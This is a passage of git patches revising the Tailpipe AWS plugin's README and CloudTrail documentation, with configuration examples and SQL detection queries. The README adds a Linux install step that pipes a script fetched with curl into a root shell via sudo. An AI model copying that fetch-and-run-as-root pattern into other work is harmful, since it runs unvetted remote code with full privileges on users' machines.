collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. - -You can override the collection window by specifying `--from`: - -```sh -tailpipe collect aws_cloudtrail_log --from 2025-01-01 -``` - -You can also use relative times. For instance, to collect logs from the last 60 days: - -```sh -tailpipe collect aws_cloudtrail_log --from T-60d -``` - -Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. - -For more examples of how to use `--from` and other arguments, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. - - -### Connections +## Credentials By default, the following environment variables will be used for authentication: @@ -179,7 +172,7 @@ connection "aws" "aws_session_token" { } ``` -For more information on connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). +For more information on AWS connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). ## Open Source & Contributing diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 1e08061a..915d8416 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -9,7 +9,11 @@ The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs ## Configuration -CloudTrail logs are normally stored within S3 buckets, so a typical configuration would look like: +CloudTrail logs are normally stored within S3 buckets, so a typical partition configuration would look like: + +```sh +vi ~/.tailpipe/config/aws.tpc +``` ```hcl connection "aws" "aws_profile" { @@ -27,12 +31,8 @@ partition "aws_cloudtrail_log" "my_logs" { To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - partition "aws_cloudtrail_log" "my_logs" { - # Avoid saving read-only events, which often make up to 90% of all log entries + # Avoid saving read-only events, which can drastically reduce local log size filter = "not read_only" source "aws_s3_bucket" { @@ -47,10 +47,6 @@ The `filter` argument values use SQL `where` clause syntax with any of the colum You can also collect logs for a single account: ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { connection = connection.aws.aws_profile @@ -63,10 +59,6 @@ partition "aws_cloudtrail_log" "my_logs" { Or for a single region: ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { connection = connection.aws.aws_profile @@ -78,7 +70,7 @@ partition "aws_cloudtrail_log" "my_logs" { For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). -You can also work with local files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): +You can also collect and query local log files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): ```hcl partition "aws_cloudtrail_log" "local_logs" { From a3d8342b2bafe5fba3e3eaae820094a9aded85f6 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Fri, 24 Jan 2025 14:45:32 -0500 Subject: [PATCH 154/180] Update README with simpler sections --- README.md | 100 +++++++++++++++++++++++++++++++----------------------- 1 file changed, 57 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index 5e6bd6ed..9c7473e4 100644 --- a/README.md +++ b/README.md @@ -2,91 +2,85 @@ Collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! -## Table of Contents +- **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** +- Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) +- Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) +- Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) -- [Documentation](#documentation) -- [Getting Started](#getting-started) -- [Credentials](#credentials) -- [Developing](#developing) -- [Open Source & Contributing](#open-source-contributing) -- [Get Involved](#get-involved) - -## Documentation +```sh +select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; -- **[Table configuration and definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** -- **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** -- **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** ++----------------------+-----------------------+----------------------+-------------+ +| event_source | event_name | recipient_account_id | event_count | ++----------------------+-----------------------+----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | +| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | +| s3.amazonaws.com | PutObject | 789012345678 | 60842 | +| sns.amazonaws.com | TagResource | 456789012345 | 25499 | +| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | ++----------------------+-----------------------+----------------------+-------------+ +``` ## Getting Started -### Installation +Install Tailpipe from the [downloads](https://tailpipe.io/downloads) page: -Download and install Tailpipe (https://tailpipe.io/downloads). Or use Brew: +```sh +# MacOS +brew install turbot/tap/tailpipe +``` ```sh -brew tap turbot/tap -brew install tailpipe +# Linux or Windows (WSL) +sudo /bin/sh -c "$(curl -fsSL https://tailpipe.io/install/tailpipe.sh)" ``` -Install the plugin: +Install the [plugin](https://hub.tailpipe.io/plugins/turbot/aws): ```sh tailpipe plugin install aws ``` -### Configuration - -Configure your log source: +Configure your connection credentials, table partition, and data source: ```sh vi ~/.tailpipe/config/aws.tpc ``` ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" +connection "aws" "logging_account" { + profile = "my-logging-account" } partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { - connection = connection.aws.aws_profile + connection = connection.aws.logging_account bucket = "aws-cloudtrail-logs-bucket" } } ``` -### Log Collection - -Collect logs: +Download, enrich, and save logs from your S3 bucket: ```sh tailpipe collect aws_cloudtrail_log ``` -When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. - -You can override the default behaviour by specifying `--from`: - -```sh -tailpipe collect aws_cloudtrail_log --from 2025-01-01 -``` - -You can also use relative times. For instance, to collect logs from the last 60 days: +Enter interactive query mode: ```sh -tailpipe collect aws_cloudtrail_log --from T-60d +tailpipe query ``` -Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. - -For additional examples on using `tailpipe collect`, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. - -### Query - Run a query: ```sql -select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; +select event_source, event_name, recipient_account_id, count(*) as event_count +from aws_cloudtrail_log +where not read_only +group by event_source, event_name, recipient_account_id +order by event_count desc; ``` For example: @@ -137,6 +131,26 @@ connection "aws" "aws_session_token" { For more information on AWS connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). +### Log Collection 2 + +When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. + +You can override the default behaviour by specifying `--from`: + +```sh +tailpipe collect aws_cloudtrail_log --from 2025-01-01 +``` + +You can also use relative times. For instance, to collect logs from the last 60 days: + +```sh +tailpipe collect aws_cloudtrail_log --from T-60d +``` + +Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. + +For additional examples on using `tailpipe collect`, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. + ## Developing Prerequisites: From baaec505d155383322267b12f8bd820fbdc60332 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Mon, 27 Jan 2025 16:39:54 -0500 Subject: [PATCH 155/180] Update table and source docs --- docs/aws_cloudtrail_log.md | 148 ---------- docs/aws_cloudtrail_log_examples.md | 349 ------------------------ docs/sources/aws_s3_bucket.md | 109 +++----- docs/tables/aws_cloudtrail_log/index.md | 201 +++++++++----- 4 files changed, 168 insertions(+), 639 deletions(-) delete mode 100644 docs/aws_cloudtrail_log.md delete mode 100644 docs/aws_cloudtrail_log_examples.md diff --git a/docs/aws_cloudtrail_log.md b/docs/aws_cloudtrail_log.md deleted file mode 100644 index 915d8416..00000000 --- a/docs/aws_cloudtrail_log.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: "Tailpipe Table: aws_cloudtrail_log - Query AWS CloudTrail Logs" -description: "Allows users to query AWS CloudTrail logs." ---- - -# Table: aws_cloudtrail_log - Query AWS CloudTrail logs - -The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. - -## Configuration - -CloudTrail logs are normally stored within S3 buckets, so a typical partition configuration would look like: - -```sh -vi ~/.tailpipe/config/aws.tpc -``` - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "aws-cloudtrail-logs-bucket" - } -} -``` - -To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - # Avoid saving read-only events, which can drastically reduce local log size - filter = "not read_only" - - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "aws-cloudtrail-logs-bucket" - } -} -``` - -The `filter` argument values use SQL `where` clause syntax with any of the columns in the `aws_cloudtrail_log` table. - -You can also collect logs for a single account: - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} -``` - -Or for a single region: - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} -``` - -For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). - -You can also collect and query local log files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): - -```hcl -partition "aws_cloudtrail_log" "local_logs" { - source "file" { - paths = ["/Users/mscott/cloudtrail_logs"] - file_layout = "%{DATA}.json.gz" - } -} -``` - -## Queries - -For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). - -### Root activity - -Find any actions taken by the root user. - -```sql -select - event_time, - event_name, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - user_identity.type = 'Root' -order by - event_time desc; -``` - -### Top 10 events - -List the top 10 events and how many times they were called. - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, -order by - event_count desc -limit 10; -``` - -### High volume S3 access requests - -Find users generating a high volume of S3 access requests to identify potential anomalous activity. - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('minute', event_time) as event_minute -from - aws_cloudtrail_log -where - event_source = 's3.amazonaws.com' - and event_name in ('GetObject', 'ListBucket') -group by - user_identity.arn, - event_minute -having - count(*) > 100 -order by - event_count desc; -``` diff --git a/docs/aws_cloudtrail_log_examples.md b/docs/aws_cloudtrail_log_examples.md deleted file mode 100644 index 57f09364..00000000 --- a/docs/aws_cloudtrail_log_examples.md +++ /dev/null @@ -1,349 +0,0 @@ -## Count Examples - -### Daily event counts - -Return a count of events per day to see trends over time. - -```sql -select - strftime(event_time, '%Y-%m-%d') AS event_date, - count(*) AS event_count -from - aws_cloudtrail_log -group by - event_date -order by - event_date asc; -``` - -### Top 10 events - -List the top 10 events and how many times they were called. - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, -order by - event_count desc -limit 10; -``` - -### Top 10 events (exclude read-only) - -List the top 10 events, excluding read-only events, and how many times they were called. - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -where - not read_only -group by - event_source, - event_name, -order by - event_count desc -limit 10; -``` - -### Event counts by account - -Count and group events by account ID, event source, and event name to highlight activity distribution across accounts. - -```sql -select - event_source, - event_name, - recipient_account_id, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, - recipient_account_id -order by - event_count desc; -``` - -### Error code counts - -```sql -select - error_code, - count(*) as event_count -from - aws_cloudtrail_log -where - error_code is not null -group by - error_code -order by - event_count desc; -``` - -## Detection Examples - -### Detect default EBS encryption disabled in a region - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'ec2.amazonaws.com' - and event_name = 'DisableEbsEncryptionByDefault' - and error_code is null -order by - event_time desc; -``` - -### Detect attempts to stop CloudTrail trail logging - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_name in ('StopLogging', 'DeleteTrail') - and event_source = 'cloudtrail.amazonaws.com' - and error_code is not null -order by - event_time desc; -``` - -### Detect unsuccessful AWS console login attempts - -```sql -select - event_time, - event_name, - user_identity.arn as user_arn, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id, - additional_event_data -from - aws_cloudtrail_log -where - event_source = 'signin.amazonaws.com' - and event_name = 'ConsoleLogin' - and error_code is not null -order by - event_time desc; -``` - -### Root activity - -Find any actions taken by the root user. - -```sql -select - event_time, - event_name, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - user_identity.type = 'Root' -order by - event_time desc; -``` - -### Detect actions in unapproved regions - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - aws_region not in ('us-east-1', 'us-west-1') -order by - event_time desc; -``` - -### Detect actions from unapproved IP addresses - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - source_ip_address not in ('192.0.2.146', '206.253.208.100') -order by - event_time desc; -``` - -## Operational Examples - -### List VPC security group rule updates - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'ec2.amazonaws.com' - and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') - and error_code is null -order by - event_time desc; -``` - -### List IAM user policy updates - -```sql -select - event_time, - event_source, - event_name, - request_parameters, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'iam.amazonaws.com' - and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') -order by - event_time desc; -``` - -## Volume Examples - -### Detect high volume of S3 bucket access requests - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('minute', event_time) as event_minute -from - aws_cloudtrail_log -where - event_source = 's3.amazonaws.com' - and event_name in ('GetObject', 'PutObject', 'ListBucket') -group by - user_identity.arn, - event_minute -having - count(*) > 100 -order by - event_count desc; -``` - -### Detect excessive IAM role assumption - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('hour', event_time) as event_hour -from - aws_cloudtrail_log -where - event_source = 'sts.amazonaws.com' - and event_name = 'AssumeRole' -group by - user_identity.arn, - event_hour -having - count(*) > 10 -order by - event_hour desc, - event_count desc; -``` - -## Baseline Examples - -### Detect unusual source IP addresses for users - -```sql -select - user_identity.arn as user_arn, - source_ip_address, - count(*) as access_count, - date_trunc('day', event_time) as access_day -from - aws_cloudtrail_log -where - source_ip_address not like '%.amazonaws.com' - and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) -group by - user_identity.arn, source_ip_address, access_day -having - access_count > 5 -order by - access_count desc; -``` - -### Detect activity outside of normal hours (between 8 PM and 6 AM) - -```sql -select - event_time, - event_source, - event_name, - request_parameters, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - cast(strftime(event_time, '%H') as integer) >= 20 - or cast(strftime(event_time, '%H') as integer) < 6 -order by - event_time desc; diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index bea497c1..0358b5b5 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -9,97 +9,52 @@ An AWS S3 bucket is a cloud storage resource used to store objects like data fil Using this source, you can collect, filter, and analyze logs stored in S3 buckets, enabling system monitoring, security investigations, and compliance reporting. -Each AWS table defines a default `file_path` for the `aws_s3_bucket` source, so if your logs are stored in default AWS log locations, you don't need to override the `file_path` argument. +Most AWS tables define a default `file_path` for the `aws_s3_bucket` source, so if your AWS logs are stored in default log locations, you don't need to override the `file_path` argument. -## CloudTrail Log Examples +Table example configurations: -### Collect logs +- **[aws_cloudtrail_log](https://tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)** -Collect CloudTrail logs for all accounts and regions. - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" - } -} -``` - -### Specify a prefix - -Collect CloudTrail logs stored with an S3 key prefix. - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" - prefix = "sample/prefix/" - } -} -``` - -### Use an AWS connection - -Use a specific AWS connection when connecting to the AWS account. - -```hcl -connection "aws" "dev" { - profile = "dev" -} - -partition "aws_cloudtrail_log" "dev" { - source "aws_s3_bucket" { - connection = connection.aws.dev - bucket = "cloudtrail-s3-log-bucket" - } -} -``` +## Example Configurations -### Collect for an account +### Collect CloudTrail logs -Collect CloudTrail logs for a specific account in all regions. +Collect CloudTrail logs for all accounts and regions. ```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } +connection "aws" "logging_account" { + profile = "my-logging-account" } -``` -### Collect for a specific region - -Collect CloudTrail logs for all accounts in us-east-1. - -```hcl partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" } } ``` -### Collect for multiple regions +### Collect CloudTrail logs with a prefix -Collect CloudTrail logs for all accounts in us-east-1 and us-east-2. +Collect CloudTrail logs stored with an S3 key prefix. ```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" +partition "aws_cloudtrail_log" "my_logs_prefix" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" + prefix = "my/prefix/" } } ``` -### Collect logs in a custom path +### Collect CloudTrail logs with a custom path ```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - bucket = "cloudtrail-s3-log-bucket" +partition "aws_cloudtrail_log" "my_logs_custom_path" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" file_layout = "CustomLogs/Dev/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" } } @@ -107,9 +62,15 @@ partition "aws_cloudtrail_log" "my_logs" { ## Arguments -| Argument | Description | -|---------------|-------------------------------------------------------------------------------------------------------| -| `bucket` | The name of the S3 bucket to collect logs from. | -| `connection` | The connection to use to connect to the AWS account. | -| `file_layout` | Pattern filename layout using Grok pattern, used to extract information such as year, month, day, etc.| -| `prefix` | The S3 key prefix that comes after the name of the bucket you have designated for log file delivery. | +| Argument | Required | Default | Description | +|---------------|----------|--------------------------|----------------------------------------------------------------------------------------------------------------------------| +| bucket | Yes | | The name of the S3 bucket to collect logs from. | +| connection | No | `connection.aws.default` | The [AWS connection](https://tailpipe.io/docs/reference/config-files/connection/aws) to use to connect to the AWS account. | +| file_layout | No | | The Grok pattern that defines the log file structure. | +| prefix | No | | The S3 key prefix that comes after the name of the bucket you have designated for log file delivery. | + +### Table Defaults + +The following tables define their own default values for certain source arguments: + +- **[aws_cloudtrail_log](https://tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#aws_s3_bucket)** diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 915d8416..9a2919fb 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -7,83 +7,21 @@ description: "Allows users to query AWS CloudTrail logs." The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. -## Configuration - -CloudTrail logs are normally stored within S3 buckets, so a typical partition configuration would look like: +To [collect](https://tailpipe.io/docs/manage/collection) logs for all `aws_cloudtrail_log` [partitions](https://tailpipe.io/docs/manage/partition): ```sh -vi ~/.tailpipe/config/aws.tpc -``` - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "aws-cloudtrail-logs-bucket" - } -} -``` - -To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - # Avoid saving read-only events, which can drastically reduce local log size - filter = "not read_only" - - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "aws-cloudtrail-logs-bucket" - } -} -``` - -The `filter` argument values use SQL `where` clause syntax with any of the columns in the `aws_cloudtrail_log` table. - -You can also collect logs for a single account: - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} -``` - -Or for a single region: - -```hcl -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} +tailpipe collect aws_cloudtrail_log ``` -For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). +Or to collect for a single partition: -You can also collect and query local log files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): - -```hcl -partition "aws_cloudtrail_log" "local_logs" { - source "file" { - paths = ["/Users/mscott/cloudtrail_logs"] - file_layout = "%{DATA}.json.gz" - } -} +```sh +tailpipe collect aws_cloudtrail_log.my_logs ``` ## Queries -For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). +Explore 100+ example queries for this table **[Queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log)** ### Root activity @@ -146,3 +84,130 @@ having order by event_count desc; ``` + +## Example Configurations + +### Collect logs from an S3 bucket + +Collect CloudTrail logs stored in an S3 bucket that use the [default log file name format](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/get-and-view-cloudtrail-log-files.html). + +```hcl +connection "aws" "logging_account" { + profile = "my-logging-account" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +### Collect logs from an S3 bucket with a prefix + +Collect CloudTrail logs stored in an S3 bucket using a prefix. + +```hcl +partition "aws_cloudtrail_log" "my_logs_prefix" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" + prefix = "my/prefix/" + } +} +``` + +### Collect logs from local files + +You can also collect CloudTrail logs from local files, like the [flaws.cloud public dataset](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): + +```hcl +partition "aws_cloudtrail_log" "local_logs" { + source "file" { + paths = ["/Users/myuser/cloudtrail_logs"] + file_layout = "%{DATA}.json.gz" + } +} +``` + +### Exclude read-only events + +Use the filter argument in your partition to exclude read-only events and reduce the size of local log storage. + +```hcl +partition "aws_cloudtrail_log" "my_logs_write" { + # Avoid saving read-only events, which can drastically reduce local log size + filter = "not read_only" + + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +### Collect logs for all accounts in an organization + +For a specific organization, collect logs for all accounts and regions. + +```hcl +partition "aws_cloudtrail_log" "my_logs_org" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/o-aa111bb222/%{NUMBER:account_id}/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +### Collect logs for a single account + +For a specific account, collect logs for all regions. + +```hcl +partition "aws_cloudtrail_log" "my_logs_account" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +### Collect logs for a single region + +For all accounts, collect logs from us-east-1. + +```hcl +partition "aws_cloudtrail_log" "my_logs_region" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +### Collect logs for multiple regions + +For all accounts, collect logs from us-east-1 and us-east-2. + +```hcl +partition "aws_cloudtrail_log" "my_logs_regions" { + source "aws_s3_bucket" { + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +## Source Defaults + +### aws_s3_bucket + +This table sets the following defaults for the [aws_s3_bucket source](https://tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket#arguments): + +| Argument | Default | +|---------------|---------| +| file_layout | `AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz` | From 2dfb1118b568c5a12930d4206eeb40c2c0dcbbef Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Mon, 27 Jan 2025 17:45:32 -0500 Subject: [PATCH 156/180] Shorten README and index doc --- README.md | 121 +++++++++++++++----------------------- docs/index.md | 158 ++++++++++++++++++-------------------------------- 2 files changed, 104 insertions(+), 175 deletions(-) diff --git a/README.md b/README.md index 9c7473e4..81d628ea 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,10 @@ # AWS Plugin for Tailpipe -Collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! +[Tailpipe](https://tailpipe.io) is an open-source CLI tool that allows you to collect logs and query them with SQL. + +[AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. + +The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! - **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** - Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) @@ -8,18 +12,18 @@ Collect and query AWS logs using SQL to track activity, monitor trends, detect a - Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) ```sh -select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; +select event_source, event_name, count(*) as event_count from 